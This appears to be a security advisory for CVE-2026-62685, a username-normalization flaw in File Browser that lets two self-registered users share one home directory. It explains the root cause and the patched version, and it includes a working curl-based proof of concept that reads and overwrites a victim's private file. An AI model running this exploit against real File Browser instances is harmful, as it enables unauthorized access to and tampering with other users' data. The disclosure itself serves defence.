high · 8.1CVE-2026-62685Jul 20, 2026

CVE-2026-62685: File Browser Username Normalization Home Directory Collision

Pranav Khune
Penetration Testing Team Lead, SecureLayer7

When self-registration is open, two users with differently-spelled usernames can end up sharing the exact same home directory, letting an attacker read and overwrite another user's private files.

Packagegithub.com/filebrowser/filebrowser/v2
Ecosystemgo
Affected<= 2.63.16
Fixed in2.63.17

The problem

File Browser confines each user to a scoped home directory. When both `Signup` and `CreateUserDir` are enabled, that directory path is built from the username after it passes through `cleanUsername()`, which strips `..` and replaces every character outside `[0-9A-Za-z@_.-]` with `-`.

Because `cleanUsername` is many-to-one, distinct usernames like `teamone/x` and `teamone-x` produce the same directory name. FileBrowser enforces uniqueness only on the raw username, never on the derived scope, so the second registrant is silently handed the first user's home directory.

Both accounts coexist normally and neither user is warned.

Proof of concept

A working proof-of-concept for CVE-2026-62685 in github.com/filebrowser/filebrowser/v2, with the exact payload below.

bash
B=http://localhost:8090; PW='CollidePw12345!'

# Admin enables signup + createUserDir
AP=$(docker logs filebrowser-test 2>&1 | grep -o 'password: .*' | awk '{print $2}')
AT=$(curl -s -X POST $B/api/login -H 'Content-Type: application/json' \
  -d "{\"username\":\"admin\",\"password\":\"$AP\"}")
curl -s -H "X-Auth: $AT" $B/api/settings \
  | python3 -c "import sys,json;d=json.load(sys.stdin);d['signup']=True;d['createUserDir']=True;print(json.dumps(d))" \
  | curl -s -X PUT $B/api/settings -H "X-Auth: $AT" -H 'Content-Type: application/json' -d @-

# Register victim
curl -s -X POST $B/api/signup -H 'Content-Type: application/json' \
  -d '{"username":"teamone-x","password":"CollidePw12345!"}'

# Register attacker with colliding username (/ stripped -> same dir)
curl -s -X POST $B/api/signup -H 'Content-Type: application/json' \
  -d '{"username":"teamone/x","password":"CollidePw12345!"}'

# Victim writes a private file
TA=$(curl -s -X POST $B/api/login -H 'Content-Type: application/json' \
  -d '{"username":"teamone-x","password":"CollidePw12345!"}')
curl -s -X POST "$B/api/resources/secretA.txt?override=true" \
  -H "X-Auth: $TA" --data-binary 'A-private-CONFIDENTIAL-data'

# Attacker reads victim's file via shared scope
TB=$(curl -s -X POST $B/api/login -H 'Content-Type: application/json' \
  -d '{"username":"teamone/x","password":"CollidePw12345!"}')
curl -s "$B/api/raw/secretA.txt" -H "X-Auth: $TB"
# -> A-private-CONFIDENTIAL-data

# Attacker overwrites victim's file
curl -s -X POST "$B/api/resources/secretA.txt?override=true" \
  -H "X-Auth: $TB" --data-binary 'TAMPERED-BY-B'

The root cause is `cleanUsername()` in `settings/dir.go` collapsing any non-`[0-9A-Za-z@_.-]` character to `-` and silently deleting `..`, making the function many-to-one. The scope `path.Join(UserHomeBasePath, cleanUsername(username))` is then written back to the new user record with no check that another user already owns the same path. `MkdirAll` is idempotent, so the directory is quietly reused.

CWE-706 (non-canonical path for authorization) and CWE-706 cousin CWE-1386 (resolved-name confusion) both apply. The patch (commit `883a36f`) adds a `GetByScope` lookup in `signupHandler` and returns HTTP 409 Conflict when `CreateUserDir` is on and the derived scope is already owned, closing the collision window entirely.

The fix

Upgrade to filebrowser v2.63.17 (commit 883a36f). The patched `signupHandler` calls `store.Users.GetByScope(scope)` before creating the account and rejects the registration with 409 Conflict if another user already owns the normalized scope. No configuration change is needed after upgrading.

Reporter not attributed.

References: [1][2][3][4][5]

Related research